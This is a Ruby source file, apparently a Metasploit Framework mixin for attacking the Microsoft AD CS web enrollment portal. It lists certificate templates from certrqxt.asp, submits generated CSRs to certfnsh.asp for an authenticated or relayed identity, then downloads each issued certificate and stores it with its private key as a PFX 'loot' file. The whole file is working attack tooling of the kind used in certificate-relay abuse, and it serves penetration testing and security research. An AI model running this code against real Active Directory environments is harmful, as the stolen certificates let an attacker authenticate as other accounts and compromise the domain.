
require 'rex/proto/x509/request'

module Msf
  class Exploit
    class Remote
      module HTTP
        # This module provides a way of interacting with the Microsoft AD/CS web enrollment portal
        module WebEnrollment

          include Msf::Exploit::Remote::CertRequest
          include Msf::Exploit::Remote::LDAP::ActiveDirectory::AdCsOpts

          def get_cert_templates(authenticated_client)
            print_status('Retrieving available template list, this may take a few minutes')
            res = send_request_raw(
              {
                'client' => authenticated_client,
                'method' => 'GET',
                'uri' => normalize_uri(target_uri, 'certrqxt.asp')
              }
            )
            return nil unless res&.code == 200

            cert_templates = res.body.scan(/^.*Option Value="[E|O];(.*?);/).map(&:first)
            print_bad('Found no available certificate templates') if cert_templates.empty?
            cert_templates
          end

          def add_cert_entry(connection_identity, cert_template)
            if @issued_certs.key?(connection_identity)
              @issued_certs[connection_identity] << cert_template
            else
              @issued_certs[connection_identity] = [ cert_template ]
            end
          end

          def retrieve_certs(target_ip, authenticated_client, connection_identity, cert_templates)
            cert_templates.each do |cert_template|
              retrieve_cert(target_ip, authenticated_client, connection_identity, cert_template)
            end
          end

          def cert_issued?(connection_identity, cert_template)
            !!@issued_certs[connection_identity]&.include?(cert_template)
          end

          def retrieve_cert(target_ip, authenticated_connection, connection_identity, cert_template)
            if cert_issued?(connection_identity, cert_template)
              print_status("Certificate already created for #{connection_identity} using #{cert_template}, skipping...")
              return nil
            end

            vprint_status("Creating certificate request for #{connection_identity} using the #{cert_template} template")
            opts = { username: connection_identity.split('\\').last }
            rsa_key_size = datastore['RSAKeySize'].blank? ? 2048 : datastore['RSAKeySize'].to_i
            private_key = OpenSSL::PKey::RSA.new(rsa_key_size)
            opts[:private_key] = private_key
            csr = create_csr(opts)

            cert_template_string = "CertificateTemplate:#{cert_template}"
            vprint_status('Requesting target generate certificate...')
            res = send_request_raw(
              {
                'client' => authenticated_connection,
                'method' => 'POST',
                'uri' => normalize_uri(datastore['TARGETURI'], 'certfnsh.asp'),
                'ctype' => 'application/x-www-form-urlencoded',
                'vars_post' => {
                  'Mode' => 'newreq',
                  'CertRequest' => Rex::Text.encode_base64(csr.to_der.to_s),
                  'CertAttrib' => cert_template_string,
                  'TargetStoreFlags' => 0,
                  'SaveCert' => 'yes',
                  'ThumbPrint' => ''
                },
                'cgi' => true
              }
            )
            if res&.code == 200 && res.body.include?('request was denied')
              print_bad("Certificate request denied using template #{cert_template} and #{connection_identity}")
              return nil
            end
            if res&.code == 200 && res.body.include?('request failed')
              print_bad("Certificate request failed using template #{cert_template} and #{connection_identity}")
              return nil
            end
            if res&.code == 401 && res.body.include?('invalid credentials')
              print_bad("Invalid Credential Error returned when using template #{cert_template} and #{connection_identity}")
              return nil
            end
            print_good("Certificate generated using template #{cert_template} and #{connection_identity}")
            add_cert_entry(connection_identity, cert_template)
            begin
              location_tag = res.body.match(/^.*location="(.*)"/)[1]
            rescue NoMethodError
              print_bad('Unable to locate location tag')
              return nil
            end

            location_uri = normalize_uri(target_uri, location_tag)
            vprint_status("Attempting to download the certificate from #{location_uri}")
            res = send_request_raw(
              {
                'client' => authenticated_connection,
                'method' => 'GET',
                'uri' => location_uri
              }
            )
            info = "#{connection_identity} Certificate"
            certificate = OpenSSL::X509::Certificate.new(res.body)
            pkcs12 = OpenSSL::PKCS12.create('', '', private_key, certificate)
            stored_path = store_loot('windows.ad.cs',
                                     'application/x-pkcs12',
                                     target_ip,
                                     pkcs12.to_der,
                                     'certificate.pfx',
                                     info)
            print_good("Certificate using template #{cert_template} saved to #{stored_path}")
            certificate
          end
        end
      end
    end
  end
end
